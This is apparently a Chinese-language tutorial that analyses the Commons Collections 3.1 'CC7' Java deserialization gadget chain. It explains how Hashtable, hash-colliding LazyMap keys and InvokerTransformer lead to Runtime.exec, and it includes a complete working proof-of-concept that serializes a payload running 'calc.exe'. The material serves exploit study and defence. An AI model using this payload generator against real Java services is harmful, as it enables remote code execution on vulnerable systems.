前言 CC7也是对CC3.1版本的利用链,使用Hashtable
作为反序列化的入口点,通过AbstractMap#equals
来调用LazyMap#get
。
利用链
1 2 3 4 5 6 7 8 9 10 11 12 java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec
利用链分析 看到Hashtable#readObject
,循环调用了reconstitutionPut
,elements
为传入的元素个数
key和value都是从序列化流中得到的,序列化流中的值则是通过put
传进去的
跟进reconstitutionPut
for循环中调用了equals
,我们先看看进入for循环的条件:e != null
,而e = tab[index]
,此时tab[index]
的值是为null的,所以不会进入for循环,下面的代码就是将key和value添加到tab中;
那如何才能进入for循环呢,既然调用一次reconstitutionPut
不行,那我们就调用两次,也就是说put两个元素进Hashtable
对象,这样elements
的值就为2,readObject中的for循环就可以循环两次;
第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut
中的for循环的时候,tab[index]
中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;
接着看看if里面的判断,要求e.hash == hash
,这里的e
值为tab[index]
,也就是第一组传入的值,这里的hash
是通过key.hashCode()
获取的,也就是说要put两个hash值相等的元素进去才行;
继续跟进到AbstractMapDecorator#equals
,这里的map
是可控的
跟进到AbstractMap#equals
,调用了m.get()
,而m
是根据传入的对象获取的,也就是说如果传入的是LazyMap
类对象,那么这里就是调用的LazyMap#get
,便可触发RCE
POC分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class CC7 { public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException { Transformer[] fakeTransformers = new Transformer[] {}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); lazyMap2.remove("yy"); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin")); outputStream.writeObject(hashtable); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
代码1
1 2 3 4 5 6 7 8 Transformer[] fakeTransformers = new Transformer[] {}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), };
和CC6一样,需要构造两个Transformer数组,因为在后面第二次调用hashtable.put()
的时候也会调用到LazyMap#get
,会触发RCE
所以这里构造一个fakeTransformers
,里面为空就行;
代码2
1 2 3 4 5 6 7 8 9 10 11 12 13 Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2);
先将fakeTransformers
传入ChainedTransformer
对象; new两个HashMap
对象,都调用LazyMap.decorate
,并且分别向两个对象中传值,两个key值分别为yy
和zZ
,因为需要这两个值的hash值相等,而在java中,yy
和zZ
的hash值恰好相等
然后将这两个LazyMap类对象put进Hashtable类对象;
代码3
1 2 3 4 5 Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); lazyMap2.remove("yy");
通过反射获取ChainedTransformer
的iTransformers
变量,将含有我们反序列化时要执行的命令的transformers
数组传进去,替换前面的fakeTransformers
; 最后还要remove掉yy
,应为如果不去掉的话,第二次调用reconstitutionPut
的时候就会存在两个key
导致进入下面的if判断,直接返回false,不再执行后面的代码
这里继续解释一下几个细节点:
为什么要调用两次put? 在第一次调用reconstitutionPut时,会把key和value注册进table中
此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因
为什么在调用完HashTable#put之后,还需要在map2中remove掉yy? 这是因为HashTable#put实际上也会调用到equals方法
当调用完equals方法后,map2的key中就会增加一个yy键,而这个键的值为UNIXProcess这个类的实例
这个实例并没有继承Serializable,所以是无法被序列化存进去的,如果我们不进行remove,则会报出这样一个错误
所以我们需要将这个yy键-值给移除掉,从这里也能明白,实际上我们在反序列化前已经成功的执行了一次命令。但是为了反序列化时可以成功执行命令,就需要把这个键给移除掉